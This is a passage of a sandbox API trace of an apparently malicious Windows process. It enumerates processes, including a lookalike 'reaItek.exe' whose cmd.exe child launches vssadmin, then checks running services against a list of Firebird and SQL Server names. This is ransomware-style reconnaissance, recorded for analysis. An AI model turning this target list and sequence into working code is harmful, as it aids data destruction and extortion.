[0114.585] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0114.586] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0114.586] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0114.587] lstrlenW (lpString="blademcdonald.exe") returned 17 [0114.587] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0114.588] lstrlenW (lpString="courage.exe") returned 11 [0114.588] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0114.589] lstrlenW (lpString="pearl.exe") returned 9 [0114.589] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0114.592] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0114.592] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0114.594] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0114.594] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0114.595] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0114.595] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0114.608] lstrlenW (lpString="dome.exe") returned 8 [0114.608] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0114.609] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0114.609] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0114.610] lstrlenW (lpString="paying.exe") returned 10 [0114.610] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0114.611] lstrlenW (lpString="emission.exe") returned 12 [0114.611] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0114.612] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0114.612] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0114.613] lstrlenW (lpString="charter.exe") returned 11 [0114.613] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0114.615] lstrlenW (lpString="nickel.exe") returned 10 [0114.615] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0114.616] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0114.616] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0114.617] lstrlenW (lpString="wrist.exe") returned 9 [0114.617] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0114.618] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0114.618] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0114.619] lstrlenW (lpString="neck.exe") returned 8 [0114.619] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0114.620] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0114.621] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.621] lstrlenW (lpString="dllhost.exe") returned 11 [0114.621] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.622] lstrlenW (lpString="taskhostw.exe") returned 13 [0114.623] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.624] lstrlenW (lpString="svchost.exe") returned 11 [0114.624] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0114.625] lstrlenW (lpString="reaItek.exe") returned 11 [0114.625] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0114.626] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0114.626] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0114.627] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0114.627] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.628] lstrlenW (lpString="conhost.exe") returned 11 [0114.628] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.629] lstrlenW (lpString="cmd.exe") returned 7 [0114.629] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.795] lstrlenW (lpString="conhost.exe") returned 11 [0114.796] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.799] lstrlenW (lpString="sppsvc.exe") returned 10 [0114.799] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0114.800] lstrlenW (lpString="vssadmin.exe") returned 12 [0114.800] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0114.801] CloseHandle (hObject=0x388) returned 1 [0114.801] Sleep (dwMilliseconds=0x1f4) [0115.557] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fecf0 [0115.557] EnumServicesStatusExW (in: hSCManager=0x5fecf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0115.557] GetLastError () returned 0xea [0115.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x617720 [0115.558] EnumServicesStatusExW (in: hSCManager=0x5fecf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617720, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617720, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0115.559] CloseServiceHandle (hSCObject=0x5fecf0) returned 1 [0115.559] lstrlenW (lpString="Appinfo") returned 7 [0115.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0115.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0115.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0115.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0115.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0115.559] lstrlenW (lpString="AppXSvc") returned 7 [0115.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0115.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0115.559] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0115.559] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0115.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0115.559] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0115.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0115.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0115.559] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0115.559] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0115.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0115.560] lstrlenW (lpString="Audiosrv") returned 8 [0115.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0115.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0115.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0115.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0115.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0115.560] lstrlenW (lpString="BFE") returned 3 [0115.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0115.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0115.560] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0115.560] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0115.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0115.560] lstrlenW (lpString="BITS") returned 4 [0115.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0115.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0115.560] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0115.560] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0115.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0115.560] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0115.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0115.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0115.560] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0115.560] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0115.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0115.560] lstrlenW (lpString="CDPSvc") returned 6 [0115.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0115.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0115.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0115.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0115.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0115.560] lstrlenW (lpString="ClickToRunSvc") returned 13 [0115.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0115.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0115.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0115.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0115.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0115.561] lstrlenW (lpString="ClipSVC") returned 7 [0115.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0115.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0115.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0115.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0115.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0115.561] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0115.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0115.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0115.561] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0115.561] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0115.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0115.561] lstrlenW (lpString="CryptSvc") returned 8 [0115.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0115.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0115.561] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0115.561] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0115.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0115.561] lstrlenW (lpString="DcomLaunch") returned 10 [0115.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0115.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0115.561] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0115.561] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0115.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0115.561] lstrlenW (lpString="DeviceAssociationService") returned 24 [0115.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0115.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0115.561] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0115.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0115.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0115.562] lstrlenW (lpString="Dhcp") returned 4 [0115.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0115.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0115.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0115.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0115.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0115.562] lstrlenW (lpString="Dnscache") returned 8 [0115.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0115.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0115.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0115.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0115.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0115.562] lstrlenW (lpString="DoSvc") returned 5 [0115.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0115.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0115.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0115.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0115.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0115.562] lstrlenW (lpString="DPS") returned 3 [0115.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0115.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0115.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0115.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0115.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0115.562] lstrlenW (lpString="DusmSvc") returned 7 [0115.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0115.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0115.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0115.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0115.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0115.563] lstrlenW (lpString="EventLog") returned 8 [0115.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0115.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0115.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0115.563] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0115.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0115.563] lstrlenW (lpString="EventSystem") returned 11 [0115.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0115.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0115.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0115.563] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0115.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0115.563] lstrlenW (lpString="FontCache") returned 9 [0115.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0115.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0115.563] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0115.563] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0115.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0115.563] lstrlenW (lpString="gpsvc") returned 5 [0115.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0115.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0115.563] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0115.563] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0115.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0115.563] lstrlenW (lpString="iphlpsvc") returned 8 [0115.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0115.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0115.563] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0115.563] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0115.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0115.564] lstrlenW (lpString="KeyIso") returned 6 [0115.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0115.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0115.564] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0115.564] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0115.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0115.564] lstrlenW (lpString="LanmanServer") returned 12 [0115.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0115.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0115.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0115.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0115.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0115.564] lstrlenW (lpString="LanmanWorkstation") returned 17 [0115.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0115.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0115.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0115.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0115.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0115.564] lstrlenW (lpString="lfsvc") returned 5 [0115.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0115.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0115.564] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0115.564] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0115.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0115.564] lstrlenW (lpString="LicenseManager") returned 14 [0115.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0115.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0115.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0115.565] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0115.565] lstrcmpiW 